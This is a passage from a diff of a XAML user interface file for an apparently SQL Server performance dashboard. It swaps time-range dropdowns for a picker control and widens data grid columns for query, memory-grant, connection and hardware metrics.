-                                          SelectionChanged="ExpensiveQueriesTimeRange_Changed">
-                                    <ComboBoxItem Content="Last 1 hour"/>
-                                    <ComboBoxItem Content="Last 4 hours"/>
-                                    <ComboBoxItem Content="Last 12 hours"/>
-                                    <ComboBoxItem Content="Last 24 hours"/>
-                                    <ComboBoxItem Content="Last 7 days"/>
-                                </ComboBox>
+                                <ui:TimeRangePicker x:Name="ExpensiveQueriesTimeRangePicker" Compact="True" RangeChanged="ExpensiveQueriesTimeRange_RangeChanged"/>
                             </StackPanel>
                         </Expander.Header>
                         <StackPanel>
@@ -2330,34 +2349,34 @@
                                     <DataGridTextColumn Binding="{Binding DatabaseName}" Width="140">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="DatabaseName" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Database" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                     </DataGridTextColumn>
-                                    <DataGridTemplateColumn Header="Query Preview" Width="400">
+                                    <DataGridTemplateColumn Header="Query Preview" Width="350">
                                         <DataGridTemplateColumn.CellTemplate>
                                             <DataTemplate>
                                                 <TextBlock Text="{Binding QueryPreview}" TextWrapping="Wrap" MaxHeight="90" Margin="5,2" ToolTip="{Binding FullQueryText}"/>
                                             </DataTemplate>
                                         </DataGridTemplateColumn.CellTemplate>
                                     </DataGridTemplateColumn>
-                                    <DataGridTextColumn Binding="{Binding TotalCpuMs, StringFormat='{}{0:N0}'}" Width="110">
+                                    <DataGridTextColumn Binding="{Binding TotalCpuMs, StringFormat='{}{0:N0}'}" Width="130">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="TotalCpuMs" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Total CPU ms" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                         <DataGridTextColumn.ElementStyle><Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style></DataGridTextColumn.ElementStyle>
                                     </DataGridTextColumn>
-                                    <DataGridTextColumn Binding="{Binding AvgCpuMsPerExec, StringFormat='{}{0:N2}'}" Width="110">
+                                    <DataGridTextColumn Binding="{Binding AvgCpuMsPerExec, StringFormat='{}{0:N2}'}" Width="135">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="AvgCpuMsPerExec" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Avg CPU/Exec" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                         <DataGridTextColumn.ElementStyle><Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style></DataGridTextColumn.ElementStyle>
                                     </DataGridTextColumn>
-                                    <DataGridTextColumn Binding="{Binding TotalReads, StringFormat='{}{0:N0}'}" Width="110">
+                                    <DataGridTextColumn Binding="{Binding TotalReads, StringFormat='{}{0:N0}'}" Width="120">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="TotalReads" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Total Reads" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                         <DataGridTextColumn.ElementStyle><Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style></DataGridTextColumn.ElementStyle>
                                     </DataGridTextColumn>
-                                    <DataGridTextColumn Binding="{Binding AvgReadsPerExec, StringFormat='{}{0:N0}'}" Width="120">
+                                    <DataGridTextColumn Binding="{Binding AvgReadsPerExec, StringFormat='{}{0:N0}'}" Width="145">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="AvgReadsPerExec" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Avg Reads/Exec" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                         <DataGridTextColumn.ElementStyle><Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style></DataGridTextColumn.ElementStyle>
                                     </DataGridTextColumn>
-                                    <DataGridTextColumn Binding="{Binding Executions, StringFormat='{}{0:N0}'}" Width="100">
+                                    <DataGridTextColumn Binding="{Binding Executions, StringFormat='{}{0:N0}'}" Width="120">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="Executions" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Executions" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                         <DataGridTextColumn.ElementStyle><Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style></DataGridTextColumn.ElementStyle>
                                     </DataGridTextColumn>
-                                    <DataGridTextColumn Binding="{Binding MonthlyCostShare, StringFormat='{}{0:N2}'}" Width="100">
+                                    <DataGridTextColumn Binding="{Binding MonthlyCostShare, StringFormat='{}{0:N2}'}" Width="120">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="MonthlyCostShare" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Est. Cost ($)" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                         <DataGridTextColumn.ElementStyle><Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style></DataGridTextColumn.ElementStyle>
                                     </DataGridTextColumn>
@@ -2389,39 +2408,39 @@
                                     <DataGridTextColumn Binding="{Binding DayDisplay}" Width="100" SortMemberPath="Day">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="DayDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Day" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                     </DataGridTextColumn>
-                                    <DataGridTextColumn Binding="{Binding AvgGrantedMb, StringFormat='{}{0:N1}'}" Width="120">
+                                    <DataGridTextColumn Binding="{Binding AvgGrantedMb, StringFormat='{}{0:N1}'}" Width="150">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="AvgGrantedMb" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Avg Granted MB" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                         <DataGridTextColumn.ElementStyle><Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style></DataGridTextColumn.ElementStyle>
                                     </DataGridTextColumn>
-                                    <DataGridTextColumn Binding="{Binding AvgUsedMb, StringFormat='{}{0:N1}'}" Width="110">
+                                    <DataGridTextColumn Binding="{Binding AvgUsedMb, StringFormat='{}{0:N1}'}" Width="135">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="AvgUsedMb" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Avg Used MB" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                         <DataGridTextColumn.ElementStyle><Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style></DataGridTextColumn.ElementStyle>
                                     </DataGridTextColumn>
-                                    <DataGridTextColumn Binding="{Binding EfficiencyPct, StringFormat='{}{0:N1}'}" Width="100">
+                                    <DataGridTextColumn Binding="{Binding EfficiencyPct, StringFormat='{}{0:N1}'}" Width="125">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="EfficiencyPct" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Efficiency %" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                         <DataGridTextColumn.ElementStyle><Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style></DataGridTextColumn.ElementStyle>
                                     </DataGridTextColumn>
-                                    <DataGridTextColumn Binding="{Binding PeakGrantedMb, StringFormat='{}{0:N1}'}" Width="120">
+                                    <DataGridTextColumn Binding="{Binding PeakGrantedMb, StringFormat='{}{0:N1}'}" Width="140">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="PeakGrantedMb" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Peak Grant MB" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                         <DataGridTextColumn.ElementStyle><Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style></DataGridTextColumn.ElementStyle>
                                     </DataGridTextColumn>
-                                    <DataGridTextColumn Binding="{Binding WastedMb, StringFormat='{}{0:N1}'}" Width="100">
+                                    <DataGridTextColumn Binding="{Binding WastedMb, StringFormat='{}{0:N1}'}" Width="120">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="WastedMb" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Wasted MB" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                         <DataGridTextColumn.ElementStyle><Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style></DataGridTextColumn.ElementStyle>
                                     </DataGridTextColumn>
-                                    <DataGridTextColumn Binding="{Binding TotalGrantees, StringFormat='{}{0:N0}'}" Width="90">
+                                    <DataGridTextColumn Binding="{Binding TotalGrantees, StringFormat='{}{0:N0}'}" Width="110">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="TotalGrantees" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Grantees" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                         <DataGridTextColumn.ElementStyle><Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style></DataGridTextColumn.ElementStyle>
                                     </DataGridTextColumn>
-                                    <DataGridTextColumn Binding="{Binding TotalWaiters, StringFormat='{}{0:N0}'}" Width="80">
+                                    <DataGridTextColumn Binding="{Binding TotalWaiters, StringFormat='{}{0:N0}'}" Width="100">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="TotalWaiters" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Waiters" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                         <DataGridTextColumn.ElementStyle><Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style></DataGridTextColumn.ElementStyle>
                                     </DataGridTextColumn>
-                                    <DataGridTextColumn Binding="{Binding TimeoutErrors, StringFormat='{}{0:N0}'}" Width="90">
+                                    <DataGridTextColumn Binding="{Binding TimeoutErrors, StringFormat='{}{0:N0}'}" Width="110">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="TimeoutErrors" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Timeouts" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                         <DataGridTextColumn.ElementStyle><Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style></DataGridTextColumn.ElementStyle>
                                     </DataGridTextColumn>
-                                    <DataGridTextColumn Binding="{Binding ForcedGrants, StringFormat='{}{0:N0}'}" Width="80">
+                                    <DataGridTextColumn Binding="{Binding ForcedGrants, StringFormat='{}{0:N0}'}" Width="95">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="ForcedGrants" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Forced" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                         <DataGridTextColumn.ElementStyle><Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style></DataGridTextColumn.ElementStyle>
                                     </DataGridTextColumn>
@@ -2457,14 +2476,7 @@
                             Margin="12,0,0,0" Padding="10,4" MinWidth="70"/>
                     <TextBlock Text="Time Range:" VerticalAlignment="Center" Margin="16,0,4,0" FontSize="11"
                                Foreground="{DynamicResource ForegroundBrush}"/>
-                    <ComboBox x:Name="HighImpactTimeRangeCombo" SelectedIndex="3" Width="120" FontSize="11"
-                              SelectionChanged="HighImpactTimeRange_Changed">
-                        <ComboBoxItem Content="Last 1 hour"/>
-                        <ComboBoxItem Content="Last 4 hours"/>
-                        <ComboBoxItem Content="Last 12 hours"/>
-                        <ComboBoxItem Content="Last 24 hours"/>
-                        <ComboBoxItem Content="Last 7 days"/>
-                    </ComboBox>
+                    <ui:TimeRangePicker x:Name="HighImpactTimeRangePicker" Compact="True" RangeChanged="HighImpactTimeRange_RangeChanged"/>
                     <TextBlock x:Name="HighImpactCountIndicator" VerticalAlignment="Center" Margin="12,0,0,0"
                                FontStyle="Italic" Foreground="{DynamicResource AccentBrush}" FontWeight="SemiBold"/>
                 </StackPanel>
@@ -2486,7 +2498,7 @@
                           RowBackground="Transparent"
                           AlternatingRowBackground="{DynamicResource DataGridAlternatingRowBrush}">
                     <DataGrid.Columns>
-                        <DataGridTextColumn Binding="{Binding ImpactScore}" Width="60">
+                        <DataGridTextColumn Binding="{Binding ImpactScore}" Width="90">
                             <DataGridTextColumn.Header>
                                 <StackPanel Orientation="Horizontal">
                                     <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="ImpactScore" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -2532,7 +2544,7 @@
                                 </DataTemplate>
                             </DataGridTemplateColumn.CellTemplate>
                         </DataGridTemplateColumn>
-                        <DataGridTextColumn Binding="{Binding TotalExecutions, StringFormat='{}{0:N0}'}" Width="100">
+                        <DataGridTextColumn Binding="{Binding TotalExecutions, StringFormat='{}{0:N0}'}" Width="120">
                             <DataGridTextColumn.Header>
                                 <StackPanel Orientation="Horizontal">
                                     <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="TotalExecutions" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -2543,7 +2555,7 @@
                                 <Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style>
                             </DataGridTextColumn.ElementStyle>
                         </DataGridTextColumn>
-                        <DataGridTextColumn Binding="{Binding TotalCpuMs, StringFormat='{}{0:N0}'}" Width="100">
+                        <DataGridTextColumn Binding="{Binding TotalCpuMs, StringFormat='{}{0:N0}'}" Width="110">
                             <DataGridTextColumn.Header>
                                 <StackPanel Orientation="Horizontal">
                                     <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="TotalCpuMs" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -2554,7 +2566,7 @@
                                 <Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style>
                             </DataGridTextColumn.ElementStyle>
                         </DataGridTextColumn>
-                        <DataGridTextColumn Binding="{Binding CpuShare, StringFormat='{}{0:N1}%'}" Width="70">
+                        <DataGridTextColumn Binding="{Binding CpuShare, StringFormat='{}{0:N1}%'}" Width="95">
                             <DataGridTextColumn.Header>
                                 <StackPanel Orientation="Horizontal">
                                     <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="CpuShare" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -2565,7 +2577,7 @@
                                 <Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style>
                             </DataGridTextColumn.ElementStyle>
                         </DataGridTextColumn>
-                        <DataGridTextColumn Binding="{Binding TotalDurationMs, StringFormat='{}{0:N0}'}" Width="110">
+                        <DataGridTextColumn Binding="{Binding TotalDurationMs, StringFormat='{}{0:N0}'}" Width="135">
                             <DataGridTextColumn.Header>
                                 <StackPanel Orientation="Horizontal">
                                     <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="TotalDurationMs" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -2576,7 +2588,7 @@
                                 <Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style>
                             </DataGridTextColumn.ElementStyle>
                         </DataGridTextColumn>
-                        <DataGridTextColumn Binding="{Binding DurationShare, StringFormat='{}{0:N1}%'}" Width="80">
+                        <DataGridTextColumn Binding="{Binding DurationShare, StringFormat='{}{0:N1}%'}" Width="120">
                             <DataGridTextColumn.Header>
                                 <StackPanel Orientation="Horizontal">
                                     <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="DurationShare" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -2598,7 +2610,7 @@
                                 <Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style>
                             </DataGridTextColumn.ElementStyle>
                         </DataGridTextColumn>
-                        <DataGridTextColumn Binding="{Binding ReadsShare, StringFormat='{}{0:N1}%'}" Width="70">
+                        <DataGridTextColumn Binding="{Binding ReadsShare, StringFormat='{}{0:N1}%'}" Width="105">
                             <DataGridTextColumn.Header>
                                 <StackPanel Orientation="Horizontal">
                                     <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="ReadsShare" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -2609,7 +2621,7 @@
                                 <Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style>
                             </DataGridTextColumn.ElementStyle>
                         </DataGridTextColumn>
-                        <DataGridTextColumn Binding="{Binding TotalWrites, StringFormat='{}{0:N0}'}" Width="90">
+                        <DataGridTextColumn Binding="{Binding TotalWrites, StringFormat='{}{0:N0}'}" Width="95">
                             <DataGridTextColumn.Header>
                                 <StackPanel Orientation="Horizontal">
                                     <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="TotalWrites" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -2620,7 +2632,7 @@
                                 <Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style>
                             </DataGridTextColumn.ElementStyle>
                         </DataGridTextColumn>
-                        <DataGridTextColumn Binding="{Binding TotalMemoryMb, StringFormat='{}{0:N1}'}" Width="100">
+                        <DataGridTextColumn Binding="{Binding TotalMemoryMb, StringFormat='{}{0:N1}'}" Width="135">
                             <DataGridTextColumn.Header>
                                 <StackPanel Orientation="Horizontal">
                                     <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="TotalMemoryMb" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -2678,7 +2690,7 @@
                                     </StackPanel>
                                 </DataGridTextColumn.Header>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding AvgConnections, StringFormat='{}{0:N0}'}" Width="120">
+                            <DataGridTextColumn Binding="{Binding AvgConnections, StringFormat='{}{0:N0}'}" Width="150">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="AvgConnections" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -2691,7 +2703,7 @@
                                     </Style>
                                 </DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding MaxConnections, StringFormat='{}{0:N0}'}" Width="120">
+                            <DataGridTextColumn Binding="{Binding MaxConnections, StringFormat='{}{0:N0}'}" Width="155">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="MaxConnections" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -2704,7 +2716,7 @@
                                     </Style>
                                 </DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding AvgRunning, StringFormat='{}{0:N0}'}" Width="110">
+                            <DataGridTextColumn Binding="{Binding AvgRunning, StringFormat='{}{0:N0}'}" Width="130">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="AvgRunning" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -2717,7 +2729,7 @@
                                     </Style>
                                 </DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding MaxRunning, StringFormat='{}{0:N0}'}" Width="110">
+                            <DataGridTextColumn Binding="{Binding MaxRunning, StringFormat='{}{0:N0}'}" Width="130">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="MaxRunning" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -2730,7 +2742,7 @@
                                     </Style>
                                 </DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding AvgSleeping, StringFormat='{}{0:N0}'}" Width="110">
+                            <DataGridTextColumn Binding="{Binding AvgSleeping, StringFormat='{}{0:N0}'}" Width="130">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="AvgSleeping" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -2743,7 +2755,7 @@
                                     </Style>
                                 </DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding MaxSleeping, StringFormat='{}{0:N0}'}" Width="110">
+                            <DataGridTextColumn Binding="{Binding MaxSleeping, StringFormat='{}{0:N0}'}" Width="135">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="MaxSleeping" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -2756,7 +2768,7 @@
                                     </Style>
                                 </DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding AvgDormant, StringFormat='{}{0:N0}'}" Width="110">
+                            <DataGridTextColumn Binding="{Binding AvgDormant, StringFormat='{}{0:N0}'}" Width="135">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="AvgDormant" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -2769,7 +2781,7 @@
                                     </Style>
                                 </DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding MaxDormant, StringFormat='{}{0:N0}'}" Width="110">
+                            <DataGridTextColumn Binding="{Binding MaxDormant, StringFormat='{}{0:N0}'}" Width="135">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="MaxDormant" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -2782,7 +2794,7 @@
                                     </Style>
                                 </DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding AvgCpuTimeMs, StringFormat='{}{0:N0}'}" Width="130">
+                            <DataGridTextColumn Binding="{Binding AvgCpuTimeMs, StringFormat='{}{0:N0}'}" Width="135">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="AvgCpuTimeMs" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -2795,7 +2807,7 @@
                                     </Style>
                                 </DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding MaxCpuTimeMs, StringFormat='{}{0:N0}'}" Width="130">
+                            <DataGridTextColumn Binding="{Binding MaxCpuTimeMs, StringFormat='{}{0:N0}'}" Width="135">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="MaxCpuTimeMs" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -2860,7 +2872,7 @@
                                     </Style>
                                 </DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding AvgLogicalReads, StringFormat='{}{0:N0}'}" Width="140">
+                            <DataGridTextColumn Binding="{Binding AvgLogicalReads, StringFormat='{}{0:N0}'}" Width="161">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="AvgLogicalReads" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -2873,7 +2885,7 @@
                                     </Style>
                                 </DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding MaxLogicalReads, StringFormat='{}{0:N0}'}" Width="140">
+                            <DataGridTextColumn Binding="{Binding MaxLogicalReads, StringFormat='{}{0:N0}'}" Width="160">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="MaxLogicalReads" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -2886,7 +2898,7 @@
                                     </Style>
                                 </DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding SampleCount, StringFormat='{}{0:N0}'}" Width="100">
+                            <DataGridTextColumn Binding="{Binding SampleCount, StringFormat='{}{0:N0}'}" Width="105">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="SampleCount" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -2993,7 +3005,7 @@
                                     </StackPanel>
                                 </DataGridTextColumn.Header>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding CpuCount, StringFormat='{}{0:N0}'}" Width="70">
+                            <DataGridTextColumn Binding="{Binding CpuCount, StringFormat='{}{0:N0}'}" Width="131">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="CpuCount" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -3007,7 +3019,7 @@
                                     </Style>
                                 </DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding PhysicalMemoryMb, StringFormat='{}{0:N0}'}" Width="100">
+                            <DataGridTextColumn Binding="{Binding PhysicalMemoryMb, StringFormat='{}{0:N0}'}" Width="125">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="PhysicalMemoryMb" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -3020,7 +3032,7 @@
                                     </Style>
                                 </DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding SocketCount}" Width="70">
+                            <DataGridTextColumn Binding="{Binding SocketCount}" Width="100">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="SocketCount" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -3033,7 +3045,7 @@
                                     </Style>
                                 </DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding CoresPerSocket}" Width="100">
+                            <DataGridTextColumn Binding="{Binding CoresPerSocket}" Width="135">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="CoresPerSocket" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -3084,7 +3096,7 @@
                                     </Style>
                                 </DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding AvgCpuPct, StringFormat='{}{0:N1}'}" Width="80">
+                            <DataGridTextColumn Binding="{Binding AvgCpuPct, StringFormat='{}{0:N1}'}" Width="120">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="AvgCpuPct" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -3093,7 +3105,7 @@
                                 </DataGridTextColumn.Header>
                                 <DataGridTextColumn.ElementStyle><Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style></DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding StorageTotalGb, StringFormat='{}{0:N1}'}" Width="95">
+                            <DataGridTextColumn Binding="{Binding StorageTotalGb, StringFormat='{}{0:N1}'}" Width="120">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="StorageTotalGb" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -3102,7 +3114,7 @@
                                 </DataGridTextColumn.Header>
                                 <DataGridTextColumn.ElementStyle><Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style></DataGridTextColumn.ElementStyle>
